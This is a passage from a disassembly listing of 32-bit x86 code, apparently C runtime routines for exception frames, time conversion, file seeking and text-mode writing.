		or	[ebp+var_4], 0FFFFFFFFh


loc_42246B:				; CODE XREF: sub_4222C2+2Ej
					; sub_4222C2+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4222C2	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422486	proc near		; CODE XREF: sub_421DB1+170p
					; sub_422252+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278F8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_4224CD
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_4224CD
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41C8C2
		or	[ebp+var_4], 0FFFFFFFFh


loc_4224CD:				; CODE XREF: sub_422486+2Aj
					; sub_422486+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422486	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4224ED	proc near		; CODE XREF: sub_4222C2+8Fp
					; sub_4222C2+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_42250E
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_42250E:				; CODE XREF: sub_4224ED+12j
		pop	esi
		retn
sub_4224ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422510	proc near		; CODE XREF: sub_41C955+40p
					; sub_42205D+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41CC41
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_42254F
		mov	ecx, 2


loc_42254F:				; CODE XREF: sub_422510+38j
		push	ecx
		call	sub_41CC41
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422510	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42255C	proc near		; CODE XREF: sub_421DB1:loc_421F53j
					; sub_4220FB:loc_42210Cj ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427908
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4DBA08
		test	eax, eax
		jz	short loc_4225A4
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_4225A0
; ---------------------------------------------------------------------------


loc_422599:				; DATA XREF: ___:00427918o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_42259D:				; DATA XREF: ___:0042791Co
		mov	esp, [ebp+var_18]


loc_4225A0:				; CODE XREF: sub_42255C+3Bj
		and	[ebp+var_4], 0


loc_4225A4:				; CODE XREF: sub_42255C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_4225AD:				; DATA XREF: ___:00427910o
		jmp	loc_4247C0
sub_42255C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4225B2	proc near		; CODE XREF: sub_41CAF7+23p
					; sub_41CAF7:loc_41CB62p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427920
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43CFA4
		test	eax, eax
		jz	short loc_4225FA
		mov	[ebp+var_4], 1
		call	eax ; sub_42255C
		jmp	short loc_4225F6
; ---------------------------------------------------------------------------


loc_4225EF:				; DATA XREF: ___:00427930o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4225F3:				; DATA XREF: ___:00427934o
		mov	esp, [ebp+var_18]


loc_4225F6:				; CODE XREF: sub_4225B2+3Bj
		and	[ebp+var_4], 0


loc_4225FA:				; CODE XREF: sub_4225B2+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422603:				; DATA XREF: ___:00427928o
		jmp	sub_42255C
sub_4225B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422608	proc near		; CODE XREF: sub_41CFD3+7p
					; sub_41CFD3+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4DCFE8
		push	esi
		cmp	eax, 3
		jnz	short loc_422631
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41DE77
		test	eax, eax
		pop	ecx
		jz	short loc_42262E
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_422666
; ---------------------------------------------------------------------------


loc_42262E:				; CODE XREF: sub_422608+1Cj
		push	esi
		jmp	short loc_422658
; ---------------------------------------------------------------------------


loc_422631:				; CODE XREF: sub_422608+Ej
		cmp	eax, 2
		jnz	short loc_422655
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_422655
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_422666
; ---------------------------------------------------------------------------


loc_422655:				; CODE XREF: sub_422608+2Cj
					; sub_422608+43j
		push	[ebp+arg_0]


loc_422658:				; CODE XREF: sub_422608+27j
		push	0
		push	dword_4DCFE4
		call	near ptr 2650000h
		nop


loc_422666:				; CODE XREF: sub_422608+24j
					; sub_422608+4Bj
		pop	esi
		leave
		retn
sub_422608	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422669	proc near		; CODE XREF: sub_41D081+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_422725
		cmp	ebx, 8Ah
		jg	loc_422725
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_43D46C[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_4226A8
		cmp	edi, 2
		jle	short loc_4226A8
		inc	esi


loc_4226A8:				; CODE XREF: sub_422669+37j
					; sub_422669+3Cj
		call	sub_4247D7
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_43D388
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_42271B
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_422721
		cmp	dword_43D38C, 0
		jz	short loc_422721
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_424A4A
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422721


loc_42271B:				; CODE XREF: sub_422669+90j
		add	ecx, dword_43D390


loc_422721:				; CODE XREF: sub_422669+96j
					; sub_422669+9Fj ...
		mov	eax, ecx
		jmp	short loc_422728
; ---------------------------------------------------------------------------


loc_422725:				; CODE XREF: sub_422669+13j
					; sub_422669+1Fj
		or	eax, 0FFFFFFFFh


loc_422728:				; CODE XREF: sub_422669+BAj
		pop	ebx
		leave
		retn
sub_422669	endp


; =============== S U B	R O U T	I N E =======================================



sub_42272B	proc near		; CODE XREF: ___:0041D253p
					; sub_41F11C+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4DCDA0
		push	esi
		push	edi
		jnb	short loc_4227AD
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DCCA0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_4227AD
		push	eax
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_42276F
		mov	dword_4DB958, 9
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------


loc_42276F:				; CODE XREF: sub_42272B+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		nop
		call	near ptr 2750000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_42278F
		call	near ptr 26709D6h
		nop
		jmp	short loc_422791
; ---------------------------------------------------------------------------


loc_42278F:				; CODE XREF: sub_42272B+5Aj
		xor	eax, eax


loc_422791:				; CODE XREF: sub_42272B+62j
		test	eax, eax
		jz	short loc_42279E
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------


loc_42279E:				; CODE XREF: sub_42272B+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_4227C1
; ---------------------------------------------------------------------------


loc_4227AD:				; CODE XREF: sub_42272B+Dj
					; sub_42272B+2Aj
		and	dword_4DB95C, 0
		mov	dword_4DB958, 9


loc_4227BE:				; CODE XREF: sub_42272B+42j
					; sub_42272B+71j
		or	eax, 0FFFFFFFFh


loc_4227C1:				; CODE XREF: sub_42272B+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42272B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4227C5	proc near		; CODE XREF: ___:0041D216p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_4227E1
		mov	[edi+4], ebx


loc_4227E1:				; CODE XREF: sub_4227C5+17j
		push	1
		push	ebx
		push	esi
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_42284F
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_422806
		sub	eax, [edi+4]
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422806:				; CODE XREF: sub_4227C5+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_422840
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4DCCA0[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_422857
		mov	edx, ecx


loc_422831:				; CODE XREF: sub_4227C5+79j
		cmp	edx, eax
		jnb	short loc_422857
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_42283D
		inc	[ebp+var_8]


loc_42283D:				; CODE XREF: sub_4227C5+73j
		inc	edx
		jmp	short loc_422831
; ---------------------------------------------------------------------------


loc_422840:				; CODE XREF: sub_4227C5+50j
		test	dl, 80h
		jnz	short loc_422857
		mov	dword_4DB958, 16h


loc_42284F:				; CODE XREF: sub_4227C5+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422857:				; CODE XREF: sub_4227C5+68j
					; sub_4227C5+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_422865
		mov	eax, [ebp+var_8]
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422865:				; CODE XREF: sub_4227C5+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_422910
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_42287E
		and	[ebp+var_8], edx
		jmp	loc_422910
; ---------------------------------------------------------------------------


loc_42287E:				; CODE XREF: sub_4227C5+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DCCA0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_42290A
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_4228D1
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_4228BC:				; CODE XREF: sub_4227C5+104j
		cmp	eax, ecx
		jnb	short loc_4228CB
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4228C8
		inc	[ebp+arg_0]


loc_4228C8:				; CODE XREF: sub_4227C5+FEj
		inc	eax
		jmp	short loc_4228BC
; ---------------------------------------------------------------------------


loc_4228CB:				; CODE XREF: sub_4227C5+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_422905
; ---------------------------------------------------------------------------


loc_4228D1:				; CODE XREF: sub_4227C5+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_42272B
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_4228F8
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_4228F8
		test	ch, 4
		jz	short loc_4228FB


loc_4228F8:				; CODE XREF: sub_4227C5+124j
					; sub_4227C5+12Cj
		mov	eax, [edi+18h]


loc_4228FB:				; CODE XREF: sub_4227C5+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_422905:				; CODE XREF: sub_4227C5+10Aj
		jz	short loc_42290A
		inc	[ebp+arg_0]


loc_42290A:				; CODE XREF: sub_4227C5+D9j
					; sub_4227C5:loc_422905j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_422910:				; CODE XREF: sub_4227C5+A4j
					; sub_4227C5+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_422918:				; CODE XREF: sub_4227C5+3Cj
					; sub_4227C5+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4227C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42291D	proc near		; CODE XREF: sub_41D2B4+A2p
					; sub_41DB8B+2Cp ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4DCDA0
		push	esi
		push	edi
		jnb	loc_422AB1
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DCCA0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_422AB1
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_42296E


loc_422967:				; CODE XREF: sub_42291D+177j
		xor	eax, eax
		jmp	loc_422AC5
; ---------------------------------------------------------------------------


loc_42296E:				; CODE XREF: sub_42291D+48j
		test	al, 20h
		jz	short loc_42297E
		push	2
		push	edi
		push	ecx
		call	sub_42272B
		add	esp, 0Ch


loc_42297E:				; CODE XREF: sub_42291D+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_422A4D
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_422A85


loc_42299E:				; CODE XREF: sub_42291D+F5j
		lea	eax, [ebp+var_414]


loc_4229A4:				; CODE XREF: sub_42291D+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4229D8
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_4229C3
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_4229C3:				; CODE XREF: sub_42291D+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_4229A4


loc_4229D8:				; CODE XREF: sub_42291D+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 26E0000h
		nop
		test	eax, eax
		jz	short loc_422A42
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_422A14
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_42299E


loc_422A14:				; CODE XREF: sub_42291D+EAj
					; sub_42291D+12Ej
		xor	edi, edi


loc_422A16:				; CODE XREF: sub_42291D+150j
					; sub_42291D+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_422AAC
		cmp	[ebp+arg_0], edi
		jz	short loc_422A85
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_422A7A
		mov	dword_4DB958, 9
		mov	dword_4DB95C, eax
		jmp	loc_422AC2
; ---------------------------------------------------------------------------


loc_422A42:				; CODE XREF: sub_42291D+E0j
		call	near ptr 26709D6h
		nop
		mov	[ebp+arg_0], eax
		jmp	short loc_422A14
; ---------------------------------------------------------------------------


loc_422A4D:				; CODE XREF: sub_42291D+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		nop
		call	near ptr 26E0000h
		test	eax, eax
		jz	short loc_422A6F
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------


loc_422A6F:				; CODE XREF: sub_42291D+145j
		nop
		call	near ptr 26709D6h
		mov	[ebp+arg_0], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------


loc_422A7A:				; CODE XREF: sub_42291D+10Fj
		push	[ebp+arg_0]
		call	sub_4203DF
		pop	ecx
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------


loc_422A85:				; CODE XREF: sub_42291D+7Bj
					; sub_42291D+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_422A9A
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_422967


loc_422A9A:				; CODE XREF: sub_42291D+16Fj
		mov	dword_4DB958, 1Ch
		mov	dword_4DB95C, edi
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------


loc_422AAC:				; CODE XREF: sub_42291D+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_422AC5
; ---------------------------------------------------------------------------


loc_422AB1:				; CODE XREF: sub_42291D+15j
					; sub_42291D+37j
		and	dword_4DB95C, 0
		mov	dword_4DB958, 9


loc_422AC2:				; CODE XREF: sub_42291D+120j
					; sub_42291D+166j ...
		or	eax, 0FFFFFFFFh


loc_422AC5:				; CODE XREF: sub_42291D+4Cj
					; sub_42291D+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42291D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422ACA	proc near		; CODE XREF: sub_41D5AA+47p
					; sub_41D5AA+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427940
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4DBA2C, edi
		jnz	short loc_422B40
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427938
		mov	esi, 100h
		push	esi
		push	edi
		call	near ptr 2640000h
		nop
		test	eax, eax
		jz	short loc_422B1E
		mov	dword_4DBA2C, ebx
		jmp	short loc_422B40
; ---------------------------------------------------------------------------


loc_422B1E:				; CODE XREF: sub_422ACA+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_4CB50C
		push	esi
		push	edi
		call	near ptr 26410A2h
		nop
		test	eax, eax
		jz	loc_422C58
		mov	dword_4DBA2C, 2


loc_422B40:				; CODE XREF: sub_422ACA+2Ej
					; sub_422ACA+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_422B55
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_422B55:				; CODE XREF: sub_422ACA+79j
		mov	eax, dword_4DBA2C
		cmp	eax, 2
		jnz	short loc_422B7C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 26410A2h
		jmp	loc_422C5A
; ---------------------------------------------------------------------------


loc_422B7C:				; CODE XREF: sub_422ACA+93j
		cmp	eax, 1
		jnz	loc_422C58
		cmp	[ebp+arg_18], edi
		jnz	short loc_422B92
		mov	eax, dword_4DBA24
		mov	[ebp+arg_18], eax


loc_422B92:				; CODE XREF: sub_422ACA+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 2800000h
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_422C58
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422BED
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_422BED:				; CODE XREF: sub_422ACA+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_422C58
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2800000h
		test	eax, eax
		jz	short loc_422C58
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_422C58
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_422C6C
		cmp	[ebp+arg_14], edi
		jz	loc_422CE7
		cmp	esi, [ebp+arg_14]
		jg	short loc_422C58
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jnz	loc_422CE7


loc_422C58:				; CODE XREF: sub_422ACA+66j
					; sub_422ACA+B5j ...
		xor	eax, eax


loc_422C5A:				; CODE XREF: sub_422ACA+ADj
					; sub_422ACA+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_422C6C:				; CODE XREF: sub_422ACA+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422CA0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_422CA0:				; CODE XREF: sub_422ACA+1C2j
		cmp	ebx, edi
		jz	short loc_422C58
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_422C58
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_422CC7
		push	edi
		push	edi
		jmp	short loc_422CCD
; ---------------------------------------------------------------------------


loc_422CC7:				; CODE XREF: sub_422ACA+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_422CCD:				; CODE XREF: sub_422ACA+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	near ptr 27F1129h
		nop
		mov	esi, eax
		cmp	esi, edi
		jz	loc_422C58


loc_422CE7:				; CODE XREF: sub_422ACA+165j
					; sub_422ACA+188j
		mov	eax, esi
		jmp	loc_422C5A
sub_422ACA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_422E2F
		test	eax, eax
		pop	ecx
		jz	loc_422E23
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_422E23
		cmp	ebx, 5
		jnz	short loc_422D1F
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_422E2C
; ---------------------------------------------------------------------------


loc_422D1F:				; CODE XREF: ___:00422D11j
		cmp	ebx, 1
		jz	loc_422E1E
		mov	ecx, dword_4DBA30
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_4DBA30, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_422E0E
		mov	ecx, dword_43D020
		mov	edx, dword_43D024
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_422D6E
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43CFB0h[esi*4]


loc_422D65:				; CODE XREF: ___:00422D6Cj
		and	dword ptr [esi], 0
		add	esi, 0Ch
